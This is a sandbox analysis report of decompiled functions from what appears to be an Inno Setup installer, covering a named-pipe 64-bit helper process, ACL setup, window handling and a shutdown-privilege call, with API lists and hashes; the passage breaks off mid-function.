Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ada167b39e06168283aa1de58693712353b2e1493b74d73bd649c322d38fd937
Instruction ID: f91bbd6786645de71ad529a75f1249e0221a6909fe05d9e6353a8ece16ee0238
Opcode Fuzzy Hash: ada167b39e06168283aa1de58693712353b2e1493b74d73bd649c322d38fd937
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00455E7C Relevance: 40.4, APIs: 11, Strings: 12, Instructions: 184
pipetimeCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00455E7C(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				char _v12;
				char _v16;
				void* _v20;
				void* _v24;
				long _v28;
				char _v96;
				char _v104;
				void* _v108;
				char _v112;
				char _v116;
				long _v120;
				char _v124;
				long _v128;
				char _v132;
				intOrPtr _v136;
				char _v140;
				intOrPtr _v144;
				char _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v164;
				void* _v168;
				char _v172;
				char _v176;
				char _v180;
				char _v184;
				void* _t69;
				intOrPtr _t88;
				int _t89;
				long _t107;
				intOrPtr _t126;
				struct _FILETIME* _t128;
				void* _t132;
				void* _t133;
				intOrPtr _t134;

				_t132 = _t133;
				_t134 = _t133 + 0xffffff4c;
				_v156 = 0;
				_v160 = 0;
				_v16 = 0;
				_t128 =  &_v12;
				_push(_t132);
				_push(0x45617b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t134;
				E00455B64("Starting 64-bit helper process.", 0x48df1c, _t128, 0x48df18);
				_t136 =  *0x4ae248;
				if( *0x4ae248 == 0) {
					E00451DE8("Cannot utilize 64-bit features on this version of Windows", 0x48df1c, _t128, 0x48df18, _t136);
				}
				_t137 =  *0x48df08;
				if( *0x48df08 == 0) {
					E00451DE8("64-bit helper EXE wasn\'t extracted", 0x48df1c, _t128, 0x48df18, _t137);
				}
				while(1) {
					 *0x48df1c =  *0x48df1c + 1;
					 *0x48df18 = GetTickCount();
					if(QueryPerformanceCounter(_t128) == 0) {
						GetSystemTimeAsFileTime(_t128);
					}
					_v152 = GetCurrentProcessId();
					_v148 = 0;
					_v144 =  *0x48df1c;
					_v140 = 0;
					_v136 =  *0x48df18;
					_v132 = 0;
					_v128 = _t128->dwHighDateTime;
					_v124 = 0;
					_v120 = _t128->dwLowDateTime;
					_v116 = 0;
					E00407988("\\\\.\\pipe\\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x", 4,  &_v152,  &_v16);
					_v20 = CreateNamedPipeA(E00403880(_v16), 0x80003, 6, 1, 0x2000, 0x2000, 0, 0);
					if(_v20 != 0xffffffff) {
						break;
					}
					_t107 = GetLastError();
					_t140 = _t107 - 0xe7;
					if(_t107 != 0xe7) {
						E00451E44("CreateNamedPipe", 0x48df1c, 4, _t128, 0x48df18, _t140);
					}
				}
				_push(_t132);
				_push(0x456137);
				_push( *[fs:eax]);
				 *[fs:eax] = _t134;
				_push(0);
				_push(0);
				_push(3);
				_push( &E0048CA50);
				_push(0);
				_push(0xc0000000);
				_t69 = E00403880(_v16);
				_push(_t69);
				L00405964();
				_v24 = _t69;
				__eflags = _v24 - 0xffffffff;
				if(__eflags == 0) {
					E00451E44("CreateFile", 0x48df1c, 4, _t128, 0x48df18, __eflags);
				}
				_push(_t132);
				_push(0x456126);
				_push( *[fs:eax]);
				 *[fs:eax] = _t134;
				_v28 = 2;
				__eflags = SetNamedPipeHandleState(_v24,  &_v28, 0, 0);
				if(__eflags == 0) {
					E00451E44("SetNamedPipeHandleState", 0x48df1c, 4, _t128, 0x48df18, __eflags);
				}
				E00402A64( &_v96, 0x44);
				_v96 = 0x44;
				_push( &_v112);
				_push( &_v96);
				E0042D80C( &_v156);
				_push(E00403880(_v156));
				_push(0);
				_push(0xc000000);
				_push(1);
				_push(0);
				_push(0);
				_v176 = 0x67;
				_v172 = 0;
				_v168 = _v24;
				_v164 = 0;
				E00407988("helper %d 0x%x", 1,  &_v176,  &_v160);
				_push(E00403880(_v160));
				_t88 =  *0x48df08; // 0x21880c8
				_t89 = E00403880(_t88);
				_push(_t89);
				L0040597C();
				__eflags = _t89;
				if(__eflags == 0) {
					E00451E44("CreateProcess", 0x48df1c, 1, _t128, 0x48df18, __eflags);
				}
				 *0x48df0c = 1;
				 *0x48df0d = 0;
				 *0x48df10 = _v112;
				 *0x48df14 = _v20;
				_v20 = 0;
				CloseHandle(_v108);
				_v184 = _v104;
				_v180 = 0;
				E00455D54("Helper process PID: %u", 0x48df1c, 0,  &_v184, _t128, 0x48df18);
				__eflags = 0;
				_pop(_t126);
				 *[fs:eax] = _t126;
				_push(E0045612D);
				return CloseHandle(_v24);
			}

0x00455e7d
0x00455e7f
0x00455e8a
0x00455e90
0x00455e96
0x00455ea3
0x00455ea8
0x00455ea9
0x00455eae
0x00455eb1
0x00455eb9
0x00455ebe
0x00455ec5
0x00455ecc
0x00455ecc
0x00455ed1
0x00455ed8
0x00455edf
0x00455edf
0x00455ee4
0x00455ee4
0x00455eeb
0x00455ef5
0x00455ef8
0x00455ef8
0x00455f06
0x00455f0c
0x00455f15
0x00455f1b
0x00455f24
0x00455f2a
0x00455f31
0x00455f34
0x00455f3a
0x00455f3d
0x00455f51
0x00455f7b
0x00455f82
0x00000000
0x00000000
0x00455f84
0x00455f89
0x00455f8e
0x00455f99
0x00455f99
0x00455f8e
0x00455fa5
0x00455fa6
0x00455fab
0x00455fae
0x00455fb1
0x00455fb3
0x00455fb5
0x00455fb7
0x00455fbc
0x00455fbe
0x00455fc6
0x00455fcb
0x00455fcc
0x00455fd1
0x00455fd4
0x00455fd8
0x00455fdf
0x00455fdf
0x00455fe6
0x00455fe7
0x00455fec
0x00455fef
0x00455ff2
0x0045600a
0x0045600c
0x00456013
0x00456013
0x00456022
0x00456027
0x00456031
0x00456035
0x0045603c
0x0045604c
0x0045604d
0x0045604f
0x00456054
0x00456056
0x00456058
0x00456061
0x0045606b
0x00456075
0x0045607b
0x00456092
0x004560a2
0x004560a3
0x004560a8
0x004560ad
0x004560ae
0x004560b3
0x004560b5
0x004560bc
0x004560bc
0x004560c1
0x004560c8
0x004560d2
0x004560da
0x004560e1
0x004560e8
0x004560f0
0x004560f6
0x0045610a
0x0045610f
0x00456111
0x00456114
0x00456117
0x00456125

APIs

Part of subcall function 00455B64: GetLocalTime.KERNEL32(?,00000000,00455CEB,?,?,0048DF10,00000000), ref: 00455B94

GetTickCount.KERNEL32 ref: 00455EE6
QueryPerformanceCounter.KERNEL32(00000000,00000000,0045617B,?,?,00000000,00000000,?,0045670E,?,00000000,00000000), ref: 00455EEE
GetSystemTimeAsFileTime.KERNEL32(00000000,00000000), ref: 00455EF8
GetCurrentProcessId.KERNEL32(?,00000000,00000000,0045617B,?,?,00000000,00000000,?,0045670E,?,00000000,00000000), ref: 00455F01
CreateNamedPipeA.KERNEL32(00000000,00080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 00455F76
GetLastError.KERNEL32(00000000,00080003,00000006,00000001,00002000,00002000,00000000,00000000,?,00000000,00000000), ref: 00455F84
6C8D5CA0.KERNEL32(00000000,C0000000,00000000,0048CA50,00000003,00000000,00000000,00000000,00456137), ref: 00455FCC
SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,00456126,?,00000000,C0000000,00000000,0048CA50,00000003,00000000,00000000,00000000,00456137), ref: 00456005

Part of subcall function 0042D80C: GetSystemDirectoryA.KERNEL32 ref: 0042D81F

6CBC7180.KERNEL32(00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 004560AE
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 004560E8
CloseHandle.KERNEL32(000000FF,0045612D,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00456120

Part of subcall function 00451E44: GetLastError.KERNEL32(00000000,00451EDC,?,?,00000000,00000000,00000005,00000000,00452922,?,?,00000000,0048D628,00000004,00000000,00000000), ref: 00451E68

Strings

CreateNamedPipe, xrefs: 00455F94
Helper process PID: %u, xrefs: 00456105
CreateProcess, xrefs: 004560B7
D, xrefs: 00456027
CreateFile, xrefs: 00455FDA
SetNamedPipeHandleState, xrefs: 0045600E
Starting 64-bit helper process., xrefs: 00455EB4
64-bit helper EXE wasn't extracted, xrefs: 00455EDA
g, xrefs: 00456061
\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x, xrefs: 00455F4C
helper %d 0x%x, xrefs: 0045608D
Cannot utilize 64-bit features on this version of Windows, xrefs: 00455EC7

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: HandleTime$CloseErrorLastNamedPipeSystem$C7180CountCounterCreateCurrentDirectoryFileLocalPerformanceProcessQueryStateTick
String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$g$helper %d 0x%x
API String ID: 4288576187-1343189204
Opcode ID: bcef79dbd4c116e068d320324f7cbf2eeb112e86b61b5acad7307fdb861079ce
Instruction ID: 4cf9e65d1c3a6a995f2f1225f91647b48c0c1d5ff0e907dc409e67b864181cf0
Opcode Fuzzy Hash: bcef79dbd4c116e068d320324f7cbf2eeb112e86b61b5acad7307fdb861079ce
Instruction Fuzzy Hash: 81714270E007449EDB10EB69CC42B9E77B8EB09705F5045AAFA08FB2C2D7785948CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00459734 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 165
memoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00459734(intOrPtr __eax, struct _SID_IDENTIFIER_AUTHORITY* __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v13;
				struct HINSTANCE__* _v20;
				struct HINSTANCE__* _v24;
				char _v28;
				char _v32;
				void* _v36;
				signed int _v40;
				void* _v44;
				void* __edi;
				struct HINSTANCE__* _t61;
				void* _t68;
				void* _t76;
				void* _t82;
				signed int _t95;
				struct HINSTANCE__* _t99;
				signed int _t100;
				intOrPtr _t111;
				struct HINSTANCE__* _t120;
				void* _t122;
				void* _t123;
				struct _SID_IDENTIFIER_AUTHORITY* _t125;
				void* _t128;
				void* _t130;
				intOrPtr _t131;

				_t128 = _t130;
				_t131 = _t130 + 0xffffffd8;
				_t125 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v13 = 0;
				if( *0x48c0e0 != 2 || (GetVersion() & 0x000000ff) < 5) {
					L16:
					return _v13;
				} else {
					_t61 = GetModuleHandleA("advapi32.dll");
					_t120 = _t61;
					_push("GetNamedSecurityInfoA");
					_push(_t120);
					L00405A9C();
					_t99 = _t61;
					_push("SetNamedSecurityInfoA");
					_push(_t120);
					L00405A9C();
					_v20 = _t61;
					_push("SetEntriesInAclW");
					_push(_t120);
					L00405A9C();
					_v24 = _t61;
					if(_t99 == 0 || _v20 == 0 || _v24 == 0) {
						goto L16;
					} else {
						_v40 = 0;
						_t68 = _t99->i(E00403880(_v12), _v8, 4, 0, 0,  &_v32, 0,  &_v28);
						_t138 = _t68;
						if(_t68 != 0) {
							goto L16;
						} else {
							_push(_t128);
							_push(0x45994e);
							_push( *[fs:edx]);
							 *[fs:edx] = _t131;
							_v40 = E00406A38(_a8 << 5, 0, _t120, _t138);
							_t122 = _a8 - 1;
							if(_t122 < 0) {
								L11:
								_t76 = _v24(_a8, _v40, _v32,  &_v36);
								__eflags = _t76;
								if(_t76 == 0) {
									 *[fs:eax] = _t131;
									_t82 = _v20(E00403880(_v12), _v8, 4, 0, 0, _v36, 0,  *[fs:eax], 0x4598f5, _t128);
									__eflags = _t82;
									if(_t82 == 0) {
										__eflags = 0;
										_pop(_t111);
										 *[fs:eax] = _t111;
										_push(0x4598fc);
										return LocalFree(_v36);
									} else {
										E00403304();
										E00403304();
										goto L16;
									}
								} else {
									E00403304();
									goto L16;
								}
							} else {
								_t123 = _t122 + 1;
								_t100 = 0;
								while(AllocateAndInitializeSid(_t125,  *(_t125 + 6),  *(_t125 + 8),  *(_t125 + 0xc), 0, 0, 0, 0, 0, 0,  &_v44) != 0) {
									_t95 = _t100 << 2;
									 *((intOrPtr*)(_v40 + _t95 * 8)) =  *((intOrPtr*)(_t125 + 0x10));
									 *((intOrPtr*)(_v40 + 4 + _t95 * 8)) = 1;
									 *((intOrPtr*)(_v40 + 8 + _t95 * 8)) = _a4;
									 *((intOrPtr*)(_v40 + 0x14 + _t95 * 8)) = 0;
									 *((intOrPtr*)(_v40 + 0x18 + _t95 * 8)) = 0;
									 *((intOrPtr*)(_v40 + 0x1c + _t95 * 8)) = _v44;
									_t125 = _t125 + 0x14;
									_t100 = _t100 + 1;
									_t123 = _t123 - 1;
									__eflags = _t123;
									if(_t123 != 0) {
										continue;
									} else {
										goto L11;
									}
									goto L17;
								}
								E00403304();
								goto L16;
							}
						}
					}
				}
				L17:
			}

0x00459735
0x00459737
0x0045973d
0x0045973f
0x00459742
0x00459745
0x00459750
0x00459959
0x00459962
0x00459769
0x0045976e
0x00459773
0x00459775
0x0045977a
0x0045977b
0x00459780
0x00459782
0x00459787
0x00459788
0x0045978d
0x00459790
0x00459795
0x00459796
0x0045979b
0x004597a0
0x00000000
0x004597ba
0x004597bc
0x004597dc
0x004597de
0x004597e0
0x00000000
0x004597e6
0x004597e8
0x004597e9
0x004597ee
0x004597f1
0x004597ff
0x00459805
0x00459808
0x00459883
0x00459893
0x00459896
0x00459898
0x004598af
0x004598cb
0x004598ce
0x004598d0
0x004598de
0x004598e0
0x004598e3
0x004598e6
0x004598f4
0x004598d2
0x004598d2
0x004598d7
0x00000000
0x004598d7
0x0045989a
0x0045989a
0x00000000
0x0045989a
0x0045980a
0x0045980a
0x0045980b
0x0045980d
0x0045983f
0x00459848
0x0045984e
0x0045985c
0x00459865
0x0045986e
0x00459878
0x0045987c
0x0045987f
0x00459880
0x00459880
0x00459881
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00459881
0x00459833
0x00000000
0x00459833
0x00459808
0x004597e0
0x004597a0
0x00000000

APIs

GetVersion.KERNEL32 ref: 00459756
GetModuleHandleA.KERNEL32(advapi32.dll), ref: 0045976E
6C8D5550.KERNEL32(00000000,GetNamedSecurityInfoA,advapi32.dll), ref: 0045977B
6C8D5550.KERNEL32(00000000,SetNamedSecurityInfoA,00000000,GetNamedSecurityInfoA,advapi32.dll), ref: 00459788
6C8D5550.KERNEL32(00000000,SetEntriesInAclW,00000000,SetNamedSecurityInfoA,00000000,GetNamedSecurityInfoA,advapi32.dll), ref: 00459796
AllocateAndInitializeSid.ADVAPI32(?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045994E), ref: 0045982A

Strings

GetNamedSecurityInfoA, xrefs: 00459775
SetEntriesInAclW, xrefs: 00459790
SetNamedSecurityInfoA, xrefs: 00459782
advapi32.dll, xrefs: 00459769

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550$AllocateHandleInitializeModuleVersion
String ID: GetNamedSecurityInfoA$SetEntriesInAclW$SetNamedSecurityInfoA$advapi32.dll
API String ID: 422192885-3478141794
Opcode ID: 8d17e719275ab2577aee2e47f0ea620ab2a40137b0091ccd33fc115fde3d0cc5
Instruction ID: 44abeef6ce0fed14890bb7ae348110eee090ef88d9448cfda06de1326518e158
Opcode Fuzzy Hash: 8d17e719275ab2577aee2e47f0ea620ab2a40137b0091ccd33fc115fde3d0cc5
Instruction Fuzzy Hash: 585140B1A00605EFDB10DB99C881BAFBBF8EF48711F20406AF904E6381D6399D05CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00422924 Relevance: 18.3, APIs: 12, Instructions: 255
windowCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00422924(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				void* __ecx;
				intOrPtr _t94;
				intOrPtr _t95;
				intOrPtr _t100;
				intOrPtr _t102;
				intOrPtr _t103;
				void* _t105;
				struct HWND__* _t106;
				long _t116;
				long _t150;
				intOrPtr _t156;
				int _t161;
				intOrPtr _t162;
				intOrPtr _t182;
				intOrPtr _t186;
				struct HWND__* _t195;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				void* _t207;
				intOrPtr _t211;
				intOrPtr _t212;
				intOrPtr _t214;
				signed int _t222;
				signed int _t223;
				signed int _t225;
				intOrPtr _t227;
				intOrPtr _t228;

				_t227 = _t228;
				_push(0xf031);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v8 = __eax;
				if(( *(_v8 + 0x1c) & 0x00000010) == 0 && ( *(_v8 + 0x119) & 0x00000004) != 0) {
					E00408D50(__ebx, 0xf031, 1, __edi, __esi);
					E00403264();
				}
				 *(_v8 + 0x119) =  *(_v8 + 0x119) | 0x00000004;
				_push(_t227);
				_push(0x422c86);
				_push( *[fs:eax]);
				 *[fs:eax] = _t228;
				if(( *(_v8 + 0x1c) & 0x00000010) == 0) {
					_t95 = _v8;
					_t232 =  *((char*)(_t95 + 0xc7));
					if( *((char*)(_t95 + 0xc7)) == 0) {
						 *[fs:eax] = _t228;
						E00402D48(_v8, 0xffdd, 0xf031, __eflags,  *[fs:eax], 0x422b8d, _t227);
						_pop(_t212);
						_pop(_t207);
						 *[fs:eax] = _t212;
						_t100 =  *0x48d62c; // 0x2160660
						__eflags =  *((intOrPtr*)(_t100 + 0x40)) - _v8;
						if( *((intOrPtr*)(_t100 + 0x40)) == _v8) {
							__eflags = 0;
							E00421EF4(_v8, _t207, 0);
						}
						_t102 = _v8;
						__eflags =  *((char*)(_t102 + 0x116)) - 1;
						if( *((char*)(_t102 + 0x116)) != 1) {
							_t103 = _v8;
							__eflags =  *(_t103 + 0x119) & 0x00000008;
							if(( *(_t103 + 0x119) & 0x00000008) == 0) {
								_t195 = 0;
								_t105 = E004182A8(_v8);
								_t106 = GetActiveWindow();
								__eflags = _t105 - _t106;
								if(_t105 == _t106) {
									_t116 = IsIconic(E004182A8(_v8));
									__eflags = _t116;
									if(_t116 == 0) {
										_t195 = E0041F0BC(E004182A8(_v8));
									}
								}
								__eflags = _t195;
								if(_t195 == 0) {
									ShowWindow(E004182A8(_v8), 0);
								} else {
									SetWindowPos(E004182A8(_v8), 0, 0, 0, 0, 0, 0x97);
									SetActiveWindow(_t195);
								}
							} else {
								SetWindowPos(E004182A8(_v8), 0, 0, 0, 0, 0, 0x97);
							}
						} else {
							E00416778(_v8);
						}
					} else {
						 *[fs:eax] = _t228;
						E00402D48(_v8, 0xffdc, 0xf031, _t232,  *[fs:eax], 0x4229b2, _t227);
						_pop(_t214);
						 *[fs:eax] = _t214;
						if( *((char*)(_v8 + 0x117)) == 4) {
							if( *((char*)(_v8 + 0x116)) != 1) {
								_t198 = E00423270() -  *(_v8 + 0x2c);
								__eflags = _t198;
								_t199 = _t198 >> 1;
								if(_t198 < 0) {
									asm("adc ebx, 0x0");
								}
								_t222 = E00423268() -  *(_v8 + 0x30);
								__eflags = _t222;
								_t223 = _t222 >> 1;
								if(_t222 < 0) {
									asm("adc esi, 0x0");
								}
							} else {
								_t182 =  *0x48d628; // 0x2162410
								_t202 = E00414784( *((intOrPtr*)(_t182 + 0x28))) -  *(_v8 + 0x2c);
								_t199 = _t202 >> 1;
								if(_t202 < 0) {
									asm("adc ebx, 0x0");
								}
								_t186 =  *0x48d628; // 0x2162410
								_t225 = E004147C8( *((intOrPtr*)(_t186 + 0x28))) -  *(_v8 + 0x30);
								_t223 = _t225 >> 1;
								if(_t225 < 0) {
									asm("adc esi, 0x0");
								}
							}
							if(_t199 < 0) {
								_t199 = 0;
							}
							if(_t223 < 0) {
								_t223 = 0;
							}
							 *((intOrPtr*)( *_v8 + 0x4c))( *(_v8 + 0x30),  *(_v8 + 0x2c));
						}
						 *((char*)(_v8 + 0x117)) = 0;
						if( *((char*)(_v8 + 0x116)) != 1) {
							ShowWindow(E004182A8(_v8),  *(0x48c5dc + ( *(_v8 + 0x112) & 0x000000ff) * 4));
						} else {
							if( *(_v8 + 0x112) != 2) {
								ShowWindow(E004182A8(_v8),  *(0x48c5dc + ( *(_v8 + 0x112) & 0x000000ff) * 4));
								_t150 =  *(_v8 + 0x30) << 0x00000010 |  *(_v8 + 0x2c);
								__eflags = _t150;
								CallWindowProcA(0x405f34, E004182A8(_v8), 5, 0, _t150);
								E00414D8C(_v8);
							} else {
								_t161 = E004182A8(_v8);
								_t162 =  *0x48d628; // 0x2162410
								SendMessageA( *( *((intOrPtr*)(_t162 + 0x28)) + 0x130), 0x223, _t161, 0);
								ShowWindow(E004182A8(_v8), 3);
							}
							_t156 =  *0x48d628; // 0x2162410
							SendMessageA( *( *((intOrPtr*)(_t156 + 0x28)) + 0x130), 0x234, 0, 0);
						}
					}
				}
				_pop(_t211);
				 *[fs:eax] = _t211;
				_push(0x422c8d);
				_t94 = _v8;
				 *(_t94 + 0x119) =  *(_t94 + 0x119) & 0x000000fb;
				return _t94;
			}

0x00422925
0x00422927
0x00422928
0x00422929
0x0042292a
0x0042292b
0x00422935
0x0042294f
0x00422954
0x00422954
0x0042295c
0x00422965
0x00422966
0x0042296b
0x0042296e
0x00422978
0x0042297e
0x00422981
0x00422988
0x00422b74
0x00422b7e
0x00422b85
0x00422b87
0x00422b88
0x00422ba4
0x00422bac
0x00422baf
0x00422bb1
0x00422bb6
0x00422bb6
0x00422bbb
0x00422bbe
0x00422bc5
0x00422bd4
0x00422bd7
0x00422bde
0x00422bff
0x00422c04
0x00422c0b
0x00422c10
0x00422c12
0x00422c1d
0x00422c22
0x00422c24
0x00422c33
0x00422c33
0x00422c24
0x00422c35
0x00422c37
0x00422c69
0x00422c39
0x00422c51
0x00422c57
0x00422c57
0x00422be0
0x00422bf8
0x00422bf8
0x00422bc7
0x00422bca
0x00422bca
0x0042298e
0x00422999
0x004229a3
0x004229aa
0x004229ad
0x004229d3
0x004229e3
0x00422a2e
0x00422a2e
0x00422a31
0x00422a33
0x00422a35
0x00422a35
0x00422a47
0x00422a47
0x00422a4a
0x00422a4c
0x00422a4e
0x00422a4e
0x004229e5
0x004229e5
0x004229f7
0x004229fa
0x004229fc
0x004229fe
0x004229fe
0x00422a01
0x00422a13
0x00422a16
0x00422a18
0x00422a1a
0x00422a1a
0x00422a18
0x00422a53
0x00422a55
0x00422a55
0x00422a59
0x00422a5b
0x00422a5b
0x00422a74
0x00422a74
0x00422a7a
0x00422a8b
0x00422b5f
0x00422a91
0x00422a9b
0x00422aee
0x00422aff
0x00422aff
0x00422b15
0x00422b1d
0x00422a9d
0x00422aa2
0x00422aad
0x00422abc
0x00422acc
0x00422acc
0x00422b2b
0x00422b3a
0x00422b3a
0x00422a8b
0x00422988
0x00422c70
0x00422c73
0x00422c76
0x00422c7b
0x00422c7e
0x00422c85

APIs

SendMessageA.USER32 ref: 00422ABC
ShowWindow.USER32(00000000,00000003,00000000,00000223,00000000,00000000,00000000,00422C86), ref: 00422ACC

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: MessageSendShowWindow
String ID:
API String ID: 1631623395-0
Opcode ID: 4fd2229586727529dd909d338d416359cb16df425a701a01cbc45ae89d0c01b5
Instruction ID: 5d0d6d93ff052dac4c0bf0c79e528bc47a43330df527cde392ec7e746acca06c
Opcode Fuzzy Hash: 4fd2229586727529dd909d338d416359cb16df425a701a01cbc45ae89d0c01b5
Instruction Fuzzy Hash: 21917370B00254EFDB11EFA9DA86F9D77F4AF04314F5101FAF504AB692C6B8AE409B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041844C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041844C(void* __eax) {
				struct _WINDOWPLACEMENT _v56;
				struct tagPOINT _v64;
				intOrPtr _v68;
				intOrPtr _t33;
				void* _t43;
				struct HWND__* _t49;
				struct tagPOINT* _t51;

				_t51 =  &(_v64.y);
				_t43 = __eax;
				if(IsIconic( *(__eax + 0xc0)) == 0) {
					GetWindowRect( *(_t43 + 0xc0), _t51);
				} else {
					_v56.length = 0x2c;
					GetWindowPlacement( *(_t43 + 0xc0),  &_v56);
					memcpy(_t51,  &(_v56.rcNormalPosition), 4 << 2);
					_t51 = _t51 + 0xc;
				}
				if((GetWindowLongA( *(_t43 + 0xc0), 0xfffffff0) & 0x40000000) != 0) {
					_t49 = GetWindowLongA( *(_t43 + 0xc0), 0xfffffff8);
					ScreenToClient(_t49, _t51);
					ScreenToClient(_t49,  &_v64);
				}
				 *(_t43 + 0x24) = _t51->x;
				 *((intOrPtr*)(_t43 + 0x28)) = _v68;
				 *((intOrPtr*)(_t43 + 0x2c)) = _v64.x - _t51->x;
				_t33 = _v64.y.x - _v68;
				 *((intOrPtr*)(_t43 + 0x30)) = _t33;
				return _t33;
			}

0x0041844f
0x00418452
0x00418462
0x00418494
0x00418464
0x00418464
0x00418478
0x00418488
0x00418488
0x00418488
0x004184ac
0x004184bc
0x004184c0
0x004184cb
0x004184cb
0x004184d3
0x004184da
0x004184e4
0x004184eb
0x004184ef
0x004184f8

APIs

IsIconic.USER32 ref: 0041845B
GetWindowPlacement.USER32(?,0000002C), ref: 00418478
GetWindowRect.USER32 ref: 00418494
GetWindowLongA.USER32 ref: 004184A2
GetWindowLongA.USER32 ref: 004184B7
ScreenToClient.USER32 ref: 004184C0
ScreenToClient.USER32 ref: 004184CB

Strings

,, xrefs: 00418464

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Window$ClientLongScreen$IconicPlacementRect
String ID: ,
API String ID: 2266315723-3772416878
Opcode ID: 53ee8b5847548daf3ae9e12d513e94a971cd81012a05b2c07befe07581d38511
Instruction ID: 2402e33c498d75b28160bea17ed0089161511ec0534d6f9e4dfe72ad5a3a0ad4
Opcode Fuzzy Hash: 53ee8b5847548daf3ae9e12d513e94a971cd81012a05b2c07befe07581d38511
Instruction Fuzzy Hash: EA115E71504201ABDB00DF69C884F9B37D8AF48314F05467EBD58DB286DB38D800CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00453D80 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00453D80() {
				intOrPtr _v4;
				struct _TOKEN_PRIVILEGES _v16;
				void* _v20;
				long _t6;

				if( *0x48c0e0 == 2) {
					if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v20) == 0) {
						return E00453D60();
					}
					LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v16.Privileges));
					_v16.PrivilegeCount = 1;
					_v4 = 2;
					AdjustTokenPrivileges(_v20, 0,  &_v16, 0, 0, 0);
					_t6 = GetLastError();
					if(_t6 != 0) {
						return E00453D60();
					}
				}
				_push(0);
				_push(2);
				L00405FD4();
